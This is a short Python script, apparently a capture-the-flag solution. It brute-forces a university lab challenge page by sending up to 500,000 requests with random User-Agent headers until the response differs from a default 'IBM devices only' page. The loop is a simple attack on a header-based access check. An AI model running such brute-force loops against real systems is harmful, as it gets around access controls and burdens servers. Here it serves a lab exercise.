import requests from fake_useragent import UserAgent # URL to brute force url = "https://ctfd.labs.inf.fh-dortmund.de/ctfd-challenge-4" # Create a UserAgent instance ua = UserAgent() # Default HTML content default_response = """ User Agent Info

IBM Workstation Server

Diese Seite bedient ausschließlich von IBM eingerichtete Geräte

""" # Function to brute force headers def brute_force_user_agent(): for _ in range(500000): # Adjust the range for the number of User-Agents you want to try user_agent = ua.random # Generate a random User-Agent headers = { "User-Agent": user_agent } try: response = requests.get(url, headers=headers) if response.text.strip() != default_response.strip(): print(f"User-Agent '{user_agent}' gives a different response:") print(response.text) return # else: # print(f"Nope: '{user_agent}'") except requests.exceptions.RequestException as e: print(f"Error with User-Agent '{user_agent}': {e}") if __name__ == "__main__": brute_force_user_agent()